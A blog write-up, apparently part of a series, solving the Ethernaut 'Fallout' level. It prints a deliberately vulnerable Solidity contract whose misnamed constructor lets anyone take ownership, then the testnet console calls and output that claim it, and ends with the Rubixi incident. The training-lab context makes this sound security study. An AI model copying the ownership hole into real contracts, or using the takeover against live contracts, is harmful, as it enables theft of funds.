🌴

Ethernaut-solution 2. Fallout

2023/05/06に公開

Ethernaut-solution

2.FallOut

Claim ownership of the contract below to complete this level.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender; //msg is global variable represent transaction. sender is transaction.
    //everyone can be owner.(changeable internall state of owner)
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

await contract.owner()

'0x0000000000000000000000000000000000000000'

player

'0xF6eA8E869C68362eC2FA1b2159Fe459D6D8f30F5'

contract.abi

(6) [{…}, {…}, {…}, {…}, {…}, {…}]

//ABIをよくみるとfunctionがFalloutじゃなくて"Fal1out"になっているのがわかる。これではcontractは効力がない。

0: {inputs: Array(0), name: 'Fal1out', outputs: Array(0), stateMutability: 'payable', type: 'function', …}
1: {inputs: Array(0), name: 'allocate', outputs: Array(0), stateMutability: 'payable', type: 'function', …}
2: {inputs: Array(1), name: 'allocatorBalance', outputs: Array(1), stateMutability: 'view', type: 'function', …}
3: {inputs: Array(0), name: 'collectAllocations', outputs: Array(0), stateMutability: 'nonpayable', type: 'function', …}
4: {inputs: Array(0), name: 'owner', outputs: Array(1), stateMutability: 'view', type: 'function', …}
5: {inputs: Array(1), name: 'sendAllocation', outputs: Array(0), stateMutability: 'nonpayable', type: 'function', …}
length: 6
[[Prototype]]: Array(0)

//contract作成。everybody is gonna be owner!

contract.Fal1out()
Promise {<pending>, _events: o, emit: ƒ, on: ƒ, …}
addListener: ƒ (t,e,r)
emit: ƒ (t,e,r,n,o,a)
listeners: ƒ (t)
off: ƒ (t,e,r,n)
on: ƒ (t,e,r)
once: ƒ (t,e,r)
removeAllListeners: ƒ (t)
removeListener: ƒ (t,e,r,n)
_events: o {}
[[Prototype]]: Promise
[[PromiseState]]: "pending"
[[PromiseResult]]: undefined
⛏️ Sent transaction ⛏ https://rinkeby.etherscan.io/tx/0xe0e0964ddb4c34273921b00cf44acefc146dc26ba453869ab57159150f98cd7c
e4e9b69aea3571538dca60595571493ed3b7d30d.js:1 <br>
⛏️ Mined transaction ⛏ https://rinkeby.etherscan.io/tx/0xe0e0964ddb4c34273921b00cf44acefc146dc26ba453869ab57159150f98cd7c
await contract.owner()
'0xF6eA8E869C68362eC2FA1b2159Fe459D6D8f30F5'

player
'0xF6eA8E869C68362eC2FA1b2159Fe459D6D8f30F5'

That was silly wasn't it? Real world contracts must be much more secure than this and so must it be much harder to hack them right?

Well... Not quite.

The story of Rubixi is a very well known case in the Ethereum ecosystem. The company changed its name from 'Dynamic Pyramid' to 'Rubixi' but somehow they didn't rename the constructor method of its contract:

contract Rubixi {
  address private owner;
  function DynamicPyramid() { owner = msg.sender; }
  function collectAllFees() { owner.transfer(this.balance) }
  ...

This allowed the attacker to call the old constructor and claim ownership of the contract, and steal some funds. Yep. Big mistakes can be made in smartcontractland.

Discussion